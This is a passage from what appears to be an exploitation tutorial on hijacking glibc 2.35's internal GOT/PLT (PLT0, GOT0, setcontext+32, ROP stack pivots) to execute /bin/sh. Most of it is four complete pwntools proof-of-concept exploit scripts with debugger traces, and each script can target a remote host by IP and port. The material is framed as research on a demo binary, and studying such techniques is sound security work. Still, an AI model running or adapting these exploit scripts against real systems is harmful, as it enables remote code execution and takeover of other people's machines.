    )

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    # g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    write_dest, write_data = setcontext32(
            libc,
            rip = libc.sym.execve,
            rdi = libc.search(b"/bin/sh\x00").__next__(),
            rsi = 0,
            rdx = 0,
            )

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    p.interactive()

    
if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
    01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
    02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
    03:0018│  0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    04:0020│  0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
    [...]
    37:01b8│  0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
    38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    39:01c8│  0x7ffff7fa71c8 ◂— 0x0
    3a:01d0│  0x7ffff7fa71d0 ◂— 0x0"""
    GOT_ET_COUNT = 0x36

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
        
    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

Set a breakpoint at the final call to printf, which will trigger the attack chain.

First, we examine our deployment on the GOT (_GLOBAL_OFFSET_TABLE_), including GOT0 and function entries:

Under our attack, all GOT entries are treated as unresolved, each populated with the PLT0 address. It can be confirmed with:

The PLT0 stub now references GOT0, which we've hijacked to point to a setcontext-related gadget (setcontext+32) and the argument it later uses (namely const ucontext_t *ucp, deployed at address 0x7ffff7ac1c8).

At 0x7ffff7ac1c8, just next to the wiped GOT entries, we've placed our forged ucontext_t structure:

Register values are fully controlled, allowing execution of execve("/bin/sh", 0, 0):

Deployment is precise. We now resume GDB and step into printf("Printf executed!"), which is expected to call strchrnul() internally:

Instead of calling strchrnul() (__strchrnul_avx2) directly, it resolves through the PLT entry at *ABS*+0xab010@plt, corresponding to __strchrnul_avx2.

Since the GOT entry for this internal call has been "cleaned" by our attack, execution falls back to PLT0 for resolution. PLT0 fetches its argument and target from GOT0—both now hijacked:

The gadget setcontext+32 is executed. The previous push instruction from PLT0 placed _GLOBAL_OFFSET_TABLE_+8 (pointer to our fake context buffer ucontext_t) onto the stack:

The pop rdx instruction at the start of setcontext+32 loads this address into rdx, effectively passing our fake context to setcontext. This allows us to control all critical registers and redirect the entire execution flow:

And pwned:

This setup currently requires a 0x388-byte memory region for the fake context—can the PoC be optimized to reduce this footprint? Do read on.

PoC 2

In PoC 2 we still use the same glibc 2.35 environment.

MXCSR | ldmxcsr

In PoC 1, we forged a full context buffer, but for executing execve("/bin/sh", 0, 0), registers prior to rdi are actually irrelevant.

We can therefore trim the unused region by overlapping it with GOT space, using a smaller context buffer:

Python
def create_ucontext(src: int, *, rdi=0, rsi=0, rbp=0, rbx=0, rdx=0, rcx=0,
                    rsp=0, rip=0xdeadbeef) -> bytearray:
    b = flat({
        0x68: rdi,
        0x70: rsi,
        0x78: rbp,
        0x80: rbx,
        0x88: rdx,
        0x98: rcx,
        0xA0: rsp,
        0xA8: rip,  # ret ptr
        0xE0: src,  # fldenv ptr
        # 0x1C0: 0x1F80,  # assume ldmxcsr == 0
    }, filler=b'\0', word_size=64)
    return b[0x68:]

We omit setting 0x1C0, assuming it's already zero.

ldmxcsr loads a 32-bit value into the MXCSR register, which configures SSE behavior (rounding mode, exception masks, etc.).

In setcontext(), this value is expected at offset 0x1C0 in the ucontext_t structure. While 0x1F80 is the default safe value, 0 is acceptable if the payload doesn't rely on SSE or floating-point behavior.

We confirm that ldmxcsr pulls from [rdx + 0x1c0] via:

$ objdump -M intel -d libc.so.6 | grep -i ldmxcsr
53a16:       0f ae 92 c0 01 00 00    ldmxcsr DWORD PTR [rdx+0x1c0]
53ea9:       0f ae 92 c0 01 00 00    ldmxcsr DWORD PTR [rdx+0x1c0]

This is register-relative, not absolute.

So we re-run PoC 1 and inspect the memory near the faked ucontext+0x1c0:

pwndbg> tel 0x7ffff7fac1c8+0x1c0
00:00000x7ffff7fac388 (mp_+40) ◂— 0x1f80
01:00080x7ffff7fac390 (mp_+48) ◂— 0x0
02:00100x7ffff7fac398 (mp_+56) ◂— 0x0
03:00180x7ffff7fac3a0 (mp_+64) ◂— 0x10000
04:00200x7ffff7fac3a8 (mp_+72) ◂— 0x0
05:00280x7ffff7fac3b0 (mp_+80) ◂— 0x0
06:00300x7ffff7fac3b8 (mp_+88) ◂— 0x0
07:00380x7ffff7fac3c0 (mp_+96) —▸ 0x555555559000 ◂— 0x0

We can observe that there are zeroed regions surrounding the target address. This confirms that we can safely pivot the execution to land ldmxcsr at a valid 0 location during exploitation.

PoC Script

Download: link

Therefore, to use the trimmed context buffer correctly, we simply add an offset of 8 bytes—skipping the initial unused fields of the ucontext_t structure:

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, setcontext, smaller context buffer


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)
        
    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


def create_ucontext(src: int, *, rdi=0, rsi=0, rbp=0, rbx=0, rdx=0, rcx=0,
                    rsp=0, rip=0xdeadbeef) -> bytearray:
    b = flat({
        0x68: rdi,
        0x70: rsi,
        0x78: rbp,
        0x80: rbx,
        0x88: rdx,
        0x98: rcx,
        0xA0: rsp,
        0xA8: rip,  # ret ptr
        0xE0: src,  # fldenv ptr
        # 0x1C0: 0x1F80,  # assume ldmxcsr == 0
    }, filler=b'\0', word_size=64)
    return b[0x68:]


def setcontext32(libc: ELF, offset=8, **kwargs) -> (int, bytes):
    """Add offset to fake context buffer to assure ldmxcsr==0"""
    global GOT_ET_COUNT

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    pa(got0)
    pa(plt0)

    write_dest = got0 + 8
    context_dest = write_dest + 0x10 + GOT_ET_COUNT * 8 - 0x68 + offset

    write_data = flat(
        context_dest,               # _GLOBAL_OFFSET_TABLE_+8   ->  ucontext_t *ucp
        libc.sym.setcontext + 32,   # _GLOBAL_OFFSET_TABLE_+16  ->  setcontext+32 gadget
        [plt0] * GOT_ET_COUNT,
        b"\x00" * offset,
        create_ucontext(context_dest, rsp=libc.sym.environ+8, **kwargs),
    )
    
        warn("Ensure [0x{:x} (offset 0x{:x} in libc)] == 0 — this is used as `ldmxcsr` by `setcontext`".format(
        context_dest + 0x1c0,
        context_dest + 0x1c0 - libc.address
    ))

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    # g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    write_dest, write_data = setcontext32(
            libc,
            rip = libc.sym.execve,
            rdi = libc.search(b"/bin/sh\x00").__next__(),
            rsi = 0,
            rdx = 0,
            )

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    p.interactive()


if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
    01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
    02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
    03:0018│  0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    04:0020│  0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
    [...]
    37:01b8│  0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
    38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    39:01c8│  0x7ffff7fa71c8 ◂— 0x0
    3a:01d0│  0x7ffff7fa71d0 ◂— 0x0"""
    GOT_ET_COUNT = 0x36

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])

    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

The screenshot below illustrates how the fake context buffer overlaps cleanly with the GOT space:

As long as we ensure ldmxcsr == 0, it's game over:

The payload is now compressed to just 0x248 bytes.

Can we shrink it even further? Read on.

PoC 3

In PoC 3 we still use the same glibc 2.35 environment.

ROP Chain

We used the gadget setcontext+32 to chain the attack, along with forging the context buffer—which demands a relatively large memory region. In real-world exploits, we often face constraints on buffer size (e.g., overflow limits), making a compact ROP chain a more space-efficient alternative.

The attack chain is straightforward:

  1. Overwrite [email protected] → point to plt0
    • Normally, [email protected] points to __strchrnul_avx2.
    • Overwrite it to point to PLT0 stub at .plt (aka [email protected] = plt0_addr).
    • So any indirect call to strchrnul() will instead enter plt0.
  2. Overwrite _GLOBAL_OFFSET_TABLE_ + 0x8 → point to a ROP chain
    • In the PLT0 code implementation, we reference and push the value in GOT+8 on the stack (namely store it in rsp).
    • Here we place the starting address of ROP chain on GOT+8. When attack is triggered calling PLT0, it will be pushed onto stack, namely rsp = ROP chain.
  3. Hijack _GLOBAL_OFFSET_TABLE_ + 0x10 → point to gadget pop rsp; ret
    • _GLOBAL_OFFSET_TABLE_ + 0x10 normally points to _dl_runtime_resolve_xsavec, called when PLT0 code executed.
    • Overwrite this as a small gadget to perform stack pivot (e.g., pop rsp; ret) — this pivots the stack to the previous pushed GOT+8 value, namely our ROP chain.
  4. Trigger the attack by calling printf()
    • printf() internally uses strchrnul() (especially for format strings like %p, %s, etc.).
    • Since [email protected] was hijacked to point to PLT0, it will now:
      • Execute PLT0, which does:
        • push [GOT + 0x08]: ROP chain
        • jmp [GOT + 0x10]: Stack pivot
      • Stack pivot → ROP → pwn.

PoC Script

Download: link

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)

    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


class ROPGadgets:
    def __init__(self, libc: ELF): 
        self.rop = ROP(libc)
        self.addr = lambda x: self.rop.find_gadget(x)[0] if rop.find_gadget(x) else None

        self.ggs = {
            'p_rdi_r'       : self.addr(['pop rdi', 'ret']),
            'p_rsi_r'       : self.addr(['pop rsi', 'ret']),
            'p_rdx_rbx_r'   : self.addr(['pop rdx', 'pop rbx', 'ret']),
            'p_rax_r'       : self.addr(['pop rax', 'ret']),
            'p_rsp_r'       : self.addr(['pop rsp', 'ret']),
            'leave_r'       : self.addr(['leave', 'ret']),
            'ret'           : self.addr(['ret']),
            'syscall_r'     : self.addr(['syscall', 'ret']),
        }

    def __getitem__(self, k: str) -> int:
        return self.ggs.get(k)


def rop(libc: ELF, rop_chain, pivot) -> (int, bytes):
    """GOT+16 stack pivot to GOT+8 (pushed)"""
    global GOT_ET_COUNT

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    pa(got0)
    pa(plt0)

    write_dest = got0 + 8
    rop_dest = write_dest + 0x10 + GOT_ET_COUNT * 8

    write_data = flat(
        rop_dest,
        pivot,
        [plt0] * GOT_ET_COUNT,
        rop_chain,
    )

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    # g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    ggs = ROPGadgets(libc)
    p_rdi_r = ggs["p_rdi_r"]
    p_rsi_r = ggs["p_rsi_r"]
    p_rdx_rbx_r = ggs["p_rdx_rbx_r"]

    rop_chain = flat(
            p_rdi_r,
            libc.search(b"/bin/sh\x00").__next__(),
            p_rsi_r,
            0,
            p_rdx_rbx_r,
            0, 0,
            libc.sym.execve,
            )

    pivot = ggs["p_rsp_r"]

    write_dest, write_data = rop(
            libc,
            rop_chain,
            pivot
            )

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    # pause()
    p.interactive()


if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
    01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
    02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
    03:0018│  0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    04:0020│  0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
    [...]
    37:01b8│  0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
    38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    39:01c8│  0x7ffff7fa71c8 ◂— 0x0
    3a:01d0│  0x7ffff7fa71d0 ◂— 0x0"""
    GOT_ET_COUNT = 0x36

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
    context.log_level = "debug"
    context.terminal  = ['tmux', 'splitw', '-h']    # ['<terminal_emulator>', '-e', ...]

    e    = ELF(FILE_PATH, checksec=False)
    mode = {"local": False, "remote": False, }
    env  = None

    print("Usage: python3 xpl.py [<ip> <port>]\n"
                "  - If no arguments are provided, runs in local mode (default).\n"
                "  - Provide <ip> and <port> to target a remote host.\n")

    if len(sys.argv) == 3:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode["remote"] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])

    elif len(sys.argv) == 1:
        if LIBC_PATH:
            libc = ELF(LIBC_PATH)
            env = {
                "LD_PRELOAD": os.path.abspath(LIBC_PATH),
                "LD_LIBRARY_PATH": os.path.dirname(os.path.abspath(LIBC_PATH))
            }
        p   = process(FILE_PATH, env=env)
        mode["local"] = True
    else:
        print("[-] Error: Invalid arguments provided.")
        sys.exit(1)

    exp()

Run

GOT+8 is hijacked to point to the start of the ROP chain, while GOT+10 holds the stack pivot gadget:

When PLT0 is triggered, observe the state of rsp, holding the ROP gadgets:

And pwned:

This time, the exploit consumes only 0x200 bytes.

Is there still room to push the boundary further? Do read on.

PoC 4

In PoC 4 we still use the same glibc 2.35 environment.

Read-Only Page

To minimize payload size, we placed the ROP chain entry point right next to the final GOT entry—positioning it close to GOT0, the start of the Global Offset Table.

However, low addresses near GOT0 sit directly at the boundary between the read-only (.rodata) and read-write (.data/.bss) segments:

Since the stack grows downward, a function like system()—which allocates stack space—may cross into this boundary, leading to a segmentation fault by trying to write on the read-only area, as confirmed during testing.

Inspection

This is a realistic issue when crafting a tight payload. If the ROP starts at the edge of a memory segment, especially rw/ro boundary, pushing data or calling functions can cause a fault.

We can disassemble do_system, the internal implementation behind system, for inspection:

pwndbg> disass do_system
Dump of assembler code for function do_system:
   0x00007ffff7de3900 <+0>:     push   r15
   0x00007ffff7de3902 <+2>:     mov    edx,0x1
   [...]
   0x00007ffff7de392e <+46>:    sub    rsp,0x388
   0x00007ffff7de3935 <+53>:    mov    rax,QWORD PTR fs:0x28
   0x00007ffff7de393e <+62>:    mov    QWORD PTR [rsp+0x378],rax
   0x00007ffff7de3946 <+70>:    xor    eax,eax
   0x00007ffff7de3948 <+72>:    mov    DWORD PTR [rsp+0x18],0xffffffff
   0x00007ffff7de3950 <+80>:    mov    QWORD PTR [rsp+0x180],0x1
   0x00007ffff7de395c <+92>:    mov    DWORD PTR [rsp+0x208],0x0
   0x00007ffff7de3967 <+103>:   mov    QWORD PTR [rsp+0x188],0x0
   0x00007ffff7de3973 <+115>:   movaps XMMWORD PTR [rsp],xmm1
   [...]
   0x00007ffff7de39ad <+173>:   lea    r12,[rsp+0x80]
   0x00007ffff7de39b5 <+181>:   xor    edi,edi
   0x00007ffff7de39b7 <+183>:   lea    rsi,[rsp+0x188]
   [...]
   0x00007ffff7de39f9 <+249>:   mov    QWORD PTR [rsp+0x100],rax
   0x00007ffff7de3a01 <+257>:   lea    rbp,[rsp+0x220]
   [...]
   0x00007ffff7de3a7a <+378>:   movaps XMMWORD PTR [rsp+0x60],xmm0
   0x00007ffff7de3a7f <+383>:   mov    QWORD PTR [rsp+0x78],0x0
   [...]
   0x00007ffff7de3a9f <+415>:   mov    DWORD PTR [rsp+0x18],0x7f00
   [...]
   0x00007ffff7de3ae8 <+488>:   mov    eax,DWORD PTR [rsp+0x18]
   0x00007ffff7de3aec <+492>:   mov    rdx,QWORD PTR [rsp+0x378]
   [...]
   0x00007ffff7de3b03 <+515>:   add    rsp,0x388
   [...]
   0x00007ffff7de3b18 <+536>:   lea    rbp,[rsp+0x180]
   [...]
   0x00007ffff7de3b96 <+662>:   mov    DWORD PTR [rsp+0x30],eax
   0x00007ffff7de3b9a <+666>:   lea    rax,[rsp+0x20]
   0x00007ffff7de3b9f <+671>:   mov    QWORD PTR [rsp+0x48],rax
   0x00007ffff7de3ba4 <+676>:   lea    rax,[rip+0xb5]        # 0x7ffff7de3c60 <cancel_handler>
   0x00007ffff7de3bab <+683>:   mov    QWORD PTR [rsp+0x40],rax
   0x00007ffff7de3bb0 <+688>:   movaps XMMWORD PTR [rsp+0x20],xmm4
   [...]
End of assembler dump.

do_system() reserves 0x388 (904 bytes) of stack space—in our attack, rsp is already at the top of a writable region (near GOT0 on the edge of .data section), this push will cross into a non-writable or unmapped region.

Then this function writes aggressively across the newly allocated stack space—including the adjacent .rodata section, causing a segfault.

System()

Instead of execve("/bin/sh", 0, 0), calling an optimized ROP chain such as system("/bin/sh") will always better suit for constrained environments, leveraging minimal register setup and ROP-based stack pivoting.

execve requires:

  • rdi = "/bin/sh"
  • rsi = 0
  • rdx = 0

system only requires:

  • rdi = "/bin/sh"

This saves two gadgets, which is valuable when ROP chain space is constrained. So we'll attempt to leverage it—while ensuring it doesn't trigger a segmentation fault in this test.

Attack Chain

To call system() in our exploitation against libc GOT, we need 2 stack pivots.

  1. First Stack Pivot → ROP Gadget in GOT+8
    • This is same as we did in PoC 3.
    • We hijack GOT+8 to contain the address of a ROP gadget, like pop rdi; ret.
    • Populate pop rsp; ret gadget into GOT+16.
    • This is triggered indirectly by redirecting a PLT entry (e.g., strchrnul@plt) to PLT0.
    • So the stack starts executing from GOT+8 onward.
  2. Set rdi = ”/bin/sh”
    • The first gadget in our ROP chain is: pop rdi; ret.
    • Followed by a pointer to a string /bin/sh inside libc.
  3. Set rax = system
    • Next, load the address of system() into rax, via pop rax; ret.
  4. Second Stack Pivot and Jump: pop rsp; ... ; jmp rax
    • Second stack pivot (to somewhere safe or cleanup chain)
    • Execution of system("/bin/sh") via jump to rax

PoC Script

Download: link

Python
# Title       : PoC for Hijacking glibc internal GOT/PLT to RCE
# Author      : Axura
# Target      : GLIBC 2.35-0ubuntu3.4 (Ubuntu 22.04)
# Website     : https://4xura.com/pwn/pwn-got-hijack-libcs-internal-got-plt-as-rce-primitives/
# Vuln script : https://github.com/4xura/pwn-libc-got/blob/main/demo/vuln.c
# Tags        : PLT0, GOT0, writable _GLOBAL_OFFSET_TABLE_, ROP, system


import sys
import inspect
from pwn import *


s       = lambda data                 :p.send(data)
sa      = lambda delim,data           :p.sendafter(delim, data)
sl      = lambda data                 :p.sendline(data)
sla     = lambda delim,data           :p.sendlineafter(delim, data)
r       = lambda num=4096             :p.recv(num)
ru      = lambda delim, drop=True     :p.recvuntil(delim, drop)
l64     = lambda                      :u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
uu64    = lambda data                 :u64(data.ljust(8, b"\0"))


def g(gdbscript: str = ""):
    if mode["local"]:
        gdb.attach(p, gdbscript=gdbscript)
        
    elif mode["remote"]:
        gdb.attach((remote_ip_addr, remote_port), gdbscript)
        if gdbscript == "":
            raw_input()


def pa(addr: int) -> None:
    frame = inspect.currentframe().f_back
    variables = {k: v for k, v in frame.f_locals.items() if v is addr}
    desc = next(iter(variables.keys()), "unknown")
    success(f"[LEAK] {desc} ---> {addr:#x}")


class ROPGadgets:
    def __init__(self, libc: ELF): 
        self.rop = ROP(libc)
        self.addr = lambda x: self.rop.find_gadget(x)[0] if self.rop.find_gadget(x) else None

        self.ggs = {
            'p_rdi_r'       : self.addr(['pop rdi', 'ret']),
            'p_rsi_r'       : self.addr(['pop rsi', 'ret']),
            'p_rdx_rbx_r'   : self.addr(['pop rdx', 'pop rbx', 'ret']),
            'p_rax_r'       : self.addr(['pop rax', 'ret']),
            'p_rsp_r'       : self.addr(['pop rsp', 'ret']),
            'leave_r'       : self.addr(['leave', 'ret']),
            'ret'           : self.addr(['ret']),
            'syscall_r'     : self.addr(['syscall', 'ret']),
        }

    def __getitem__(self, k: str) -> int:
        return self.ggs.get(k)


def rop(libc: ELF, rop_chain, pivot) -> (int, bytes):
    """GOT+16 stack pivot to GOT+8 (pushed)"""
    global GOT_ET_COUNT

    got0 = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
    plt0 = libc.address + libc.get_section_by_name(".plt").header.sh_addr
    pa(got0)
    pa(plt0)

    write_dest = got0 + 8
    rop_dest = write_dest + 0x10 + GOT_ET_COUNT * 8

    write_data = flat(
        rop_dest,
        pivot,
        [plt0] * GOT_ET_COUNT,
        rop_chain,
    )

    return write_dest, write_data


def exp():
    """
    11ee:       e8 5d fe ff ff          call   1050 <printf@plt>
    """
    # g("breakrva 0x11ee")

    leak = int(ru(b"\n"), 16)
    libc_base = leak - libc.sym.printf
    pa(libc_base)
    libc.address = libc_base

    ggs = ROPGadgets(libc)
    p_rdi_r = ggs["p_rdi_r"]
    p_rax_r = ggs["p_rax_r"]
    # 0x000000000002d543: pop rsp; pop r13; pop r14; pop r15; jmp rax;
    p_rsp_jmp_rax = libc.address + 0x2d543

    safe_rsp = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT") \
            + 0x3000
    pa(safe_rsp)

    rop_chain = flat(
            p_rdi_r,
            libc.search(b"/bin/sh\x00").__next__(),
            p_rax_r,
            libc.sym.system,
            p_rsp_jmp_rax,
            safe_rsp,
            )

    pivot = ggs["p_rsp_r"]

    write_dest, write_data = rop(
            libc,
            rop_chain,
            pivot
            )

    s(p64(write_dest))
    s(p64(len(write_data)))
    s(write_data)

    success("Payload written to: {}\nPayload length: {}".format(hex(write_dest), hex(len(write_data))))

    # pause()
    p.interactive()

    
if __name__ == '__main__':
    """pwndbg> tel &_GLOBAL_OFFSET_TABLE_ 60
    00:0000│  0x7ffff7fa7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x218bc0
    01:0008│  0x7ffff7fa7008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7ffff7fbb160 —▸ 0x7ffff7d8e000 ◂— 0x3010102464c457f
    02:0010│  0x7ffff7fa7010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7ffff7fd8d30 (_dl_runtime_resolve_xsavec) ◂— endbr64
    03:0018│  0x7ffff7fa7018 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    04:0020│  0x7ffff7fa7020 (*ABS*@got.plt) —▸ 0x7ffff7f27790 (__rawmemchr_avx2) ◂— endbr64
    [...]
    37:01b8│  0x7ffff7fa71b8 ([email protected]) —▸ 0x7ffff7fde660 (_dl_audit_preinit) ◂— endbr64
    38:01c0│  0x7ffff7fa71c0 (*ABS*@got.plt) —▸ 0x7ffff7f2bb60 (__strnlen_avx2) ◂— endbr64
    39:01c8│  0x7ffff7fa71c8 ◂— 0x0
    3a:01d0│  0x7ffff7fa71d0 ◂— 0x0"""
    GOT_ET_COUNT = 0x36

    FILE_PATH = "./vuln"
    LIBC_PATH = "/usr/lib/x86_64-linux-gnu/libc.so.6"

    context(arch="amd64", os="linux", endian="little")
